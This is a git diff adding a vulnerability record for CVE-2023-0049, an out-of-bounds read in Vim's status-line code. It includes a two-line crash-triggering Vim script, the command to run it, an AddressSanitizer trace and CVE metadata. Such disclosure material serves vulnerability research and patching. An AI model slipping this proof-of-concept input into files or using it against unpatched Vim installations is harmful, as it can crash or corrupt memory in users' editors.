diff --git a/cve/vim/2023/CVE-2023-0049/README.md b/cve/vim/2023/CVE-2023-0049/README.md new file mode 100644 index 0000000000000000000000000000000000000000..9ff5e370f5b024a29076093745a14f23f9d5eaef --- /dev/null +++ b/cve/vim/2023/CVE-2023-0049/README.md @@ -0,0 +1,118 @@ +# 漏洞CVE-2023-0049 +Out-of-bounds Read in function build_stl_str_hl at buffer.c:4350 + +## vim version + +```shell +git log +commit ea720aea851e645f4c8ec3b20afb27c7ca38184c (HEAD -> master, tag: v9.0.1137, origin/master, origin/HEAD) +``` + +## Proof of Concept +```shell +./vim -u NONE -i NONE -n -m -X -Z -e -s -S ./poc_hor01_s.dat -c :qa! +================================================================= +==2441==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000006eb5 at pc 0x00000052f7a2 bp 0x7ffd0ecb2570 sp 0x7ffd0ecb2568 +READ of size 1 at 0x602000006eb5 thread T0 + #0 0x52f7a1 in build_stl_str_hl /home/fuzz/vim/src/buffer.c:4350:22 + #1 0xe6d8cf in win_redr_custom /home/fuzz/vim/src/screen.c:1104:13 + #2 0x6748f7 in redraw_custom_statusline /home/fuzz/vim/src/drawscreen.c:591:5 + #3 0x6726fa in win_redr_status /home/fuzz/vim/src/drawscreen.c:461:2 + #4 0x67ca0b in redraw_statuslines /home/fuzz/vim/src/drawscreen.c:3307:6 + #5 0x14bb8f8 in main_loop /home/fuzz/vim/src/main.c:1428:6 + #6 0x8943d2 in open_cmdwin /home/fuzz/vim/src/ex_getln.c:4546:5 + #7 0x879ed4 in getcmdline_int /home/fuzz/vim/src/ex_getln.c:1935:7 + #8 0x8746ce in getcmdline /home/fuzz/vim/src/ex_getln.c:1551:12 + #9 0xb8ccf8 in nv_search /home/fuzz/vim/src/normal.c:4138:22 + #10 0xb62f4b in normal_cmd /home/fuzz/vim/src/normal.c:939:5 + #11 0x83d7ae in exec_normal /home/fuzz/vim/src/ex_docmd.c:8888:6 + #12 0x83cfd8 in exec_normal_cmd /home/fuzz/vim/src/ex_docmd.c:8851:5 + #13 0x83cb89 in ex_normal /home/fuzz/vim/src/ex_docmd.c:8769:6 + #14 0x804e61 in do_one_cmd /home/fuzz/vim/src/ex_docmd.c:2581:2 + #15 0x7f1885 in do_cmdline /home/fuzz/vim/src/ex_docmd.c:994:17 + #16 0xea0575 in do_source_ext /home/fuzz/vim/src/scriptfile.c:1672:5 + #17 0xe9cfd6 in do_source /home/fuzz/vim/src/scriptfile.c:1818:12 + #18 0xe9c90c in cmd_source /home/fuzz/vim/src/scriptfile.c:1163:14 + #19 0xe9bfee in ex_source /home/fuzz/vim/src/scriptfile.c:1189:2 + #20 0x804e61 in do_one_cmd /home/fuzz/vim/src/ex_docmd.c:2581:2 + #21 0x7f1885 in do_cmdline /home/fuzz/vim/src/ex_docmd.c:994:17 + #22 0x7f65d1 in do_cmdline_cmd /home/fuzz/vim/src/ex_docmd.c:588:12 + #23 0x14b9732 in exe_commands /home/fuzz/vim/src/main.c:3146:2 + #24 0x14b58ce in vim_main2 /home/fuzz/vim/src/main.c:782:2 + #25 0x14aad69 in main /home/fuzz/vim/src/main.c:433:12 + #26 0x7efd4f54b082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16 + #27 0x41eaad in _start (/home/fuzz/vim/src/vim+0x41eaad) + +0x602000006eb5 is located 0 bytes to the right of 5-byte region [0x602000006eb0,0x602000006eb5) +allocated by thread T0 here: + #0 0x499d0d in malloc (/home/fuzz/vim/src/vim+0x499d0d) + #1 0x4cb3ea in lalloc /home/fuzz/vim/src/alloc.c:246:11 + #2 0x4cb2ca in alloc /home/fuzz/vim/src/alloc.c:151:12 + #3 0xfd7296 in vim_strsave /home/fuzz/vim/src/strings.c:27:9 + #4 0xe6d865 in win_redr_custom /home/fuzz/vim/src/screen.c:1103:11 + #5 0x6748f7 in redraw_custom_statusline /home/fuzz/vim/src/drawscreen.c:591:5 + #6 0x6726fa in win_redr_status /home/fuzz/vim/src/drawscreen.c:461:2 + #7 0x67ca0b in redraw_statuslines /home/fuzz/vim/src/drawscreen.c:3307:6 + #8 0x14bb8f8 in main_loop /home/fuzz/vim/src/main.c:1428:6 + #9 0x8943d2 in open_cmdwin /home/fuzz/vim/src/ex_getln.c:4546:5 + #10 0x879ed4 in getcmdline_int /home/fuzz/vim/src/ex_getln.c:1935:7 + #11 0x8746ce in getcmdline /home/fuzz/vim/src/ex_getln.c:1551:12 + #12 0xb8ccf8 in nv_search /home/fuzz/vim/src/normal.c:4138:22 + #13 0xb62f4b in normal_cmd /home/fuzz/vim/src/normal.c:939:5 + #14 0x83d7ae in exec_normal /home/fuzz/vim/src/ex_docmd.c:8888:6 + #15 0x83cfd8 in exec_normal_cmd /home/fuzz/vim/src/ex_docmd.c:8851:5 + #16 0x83cb89 in ex_normal /home/fuzz/vim/src/ex_docmd.c:8769:6 + #17 0x804e61 in do_one_cmd /home/fuzz/vim/src/ex_docmd.c:2581:2 + #18 0x7f1885 in do_cmdline /home/fuzz/vim/src/ex_docmd.c:994:17 + #19 0xea0575 in do_source_ext /home/fuzz/vim/src/scriptfile.c:1672:5 + #20 0xe9cfd6 in do_source /home/fuzz/vim/src/scriptfile.c:1818:12 + #21 0xe9c90c in cmd_source /home/fuzz/vim/src/scriptfile.c:1163:14 + #22 0xe9bfee in ex_source /home/fuzz/vim/src/scriptfile.c:1189:2 + #23 0x804e61 in do_one_cmd /home/fuzz/vim/src/ex_docmd.c:2581:2 + #24 0x7f1885 in do_cmdline /home/fuzz/vim/src/ex_docmd.c:994:17 + #25 0x7f65d1 in do_cmdline_cmd /home/fuzz/vim/src/ex_docmd.c:588:12 + #26 0x14b9732 in exe_commands /home/fuzz/vim/src/main.c:3146:2 + #27 0x14b58ce in vim_main2 /home/fuzz/vim/src/main.c:782:2 + #28 0x14aad69 in main /home/fuzz/vim/src/main.c:433:12 + #29 0x7efd4f54b082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16 + +SUMMARY: AddressSanitizer: heap-buffer-overflow /home/fuzz/vim/src/buffer.c:4350:22 in build_stl_str_hl +Shadow bytes around the buggy address: + 0x0c047fff8d80: fa fa 02 fa fa fa 00 02 fa fa 01 fa fa fa 07 fa + 0x0c047fff8d90: fa fa 01 fa fa fa 01 fa fa fa 05 fa fa fa 01 fa + 0x0c047fff8da0: fa fa 01 fa fa fa 01 fa fa fa 01 fa fa fa 02 fa + 0x0c047fff8db0: fa fa 07 fa fa fa 02 fa fa fa 00 03 fa fa 00 fa + 0x0c047fff8dc0: fa fa 05 fa fa fa 01 fa fa fa 00 07 fa fa 07 fa +=>0x0c047fff8dd0: fa fa 01 fa fa fa[05]fa fa fa fd fd fa fa 00 03 + 0x0c047fff8de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0c047fff8df0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0c047fff8e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0c047fff8e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0c047fff8e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa +Shadow byte legend (one shadow byte represents 8 application bytes): + Addressable: 00 + Partially addressable: 01 02 03 04 05 06 07 + Heap left redzone: fa + Freed heap region: fd + Stack left redzone: f1 + Stack mid redzone: f2 + Stack right redzone: f3 + Stack after return: f5 + Stack use after scope: f8 + Global redzone: f9 + Global init order: f6 + Poisoned by user: f7 + Container overflow: fc + Array cookie: ac + Intra object redzone: bb + ASan internal: fe + Left alloca redzone: ca + Right alloca redzone: cb + Shadow gap: cc +==2441==ABORTING + +``` + +## impact + +This vulnerability is capable of crashing software, modify memory, and possible remote execution. \ No newline at end of file diff --git a/cve/vim/2023/CVE-2023-0049/poc_hor01_s.dat b/cve/vim/2023/CVE-2023-0049/poc_hor01_s.dat new file mode 100644 index 0000000000000000000000000000000000000000..d31cfee68ed72dea461c51cc75393b686db85261 --- /dev/null +++ b/cve/vim/2023/CVE-2023-0049/poc_hor01_s.dat @@ -0,0 +1,2 @@ +se tw=0 stl:%!%0 +sil0norm0q/ \ No newline at end of file diff --git a/cve/vim/2023/yaml/CVE-2023-0049.yaml b/cve/vim/2023/yaml/CVE-2023-0049.yaml new file mode 100644 index 0000000000000000000000000000000000000000..f6de7b6b07d3cd6130f4eeddaf63f90a5d4b973e --- /dev/null +++ b/cve/vim/2023/yaml/CVE-2023-0049.yaml @@ -0,0 +1,20 @@ +id: CVE-2023-0049 +source: https://huntr.dev/bounties/5e6f325c-ba54-4bf0-b050-dca048fd3fd9/ +info: + name: Vim是一款跨平台的文本编辑器。 + severity: high + description: | + Vim 9.0.1143之前版本存在缓冲区错误漏洞，该漏洞源于存在越界读取问题。 + scope-of-influence: + vim < 9.0.1143 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2023-0049 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2023-0049 + cwe-id: CWE-125 + cnvd-id: None + kve-id: None + tags: cve2023, 缓冲区错误 + \ No newline at end of file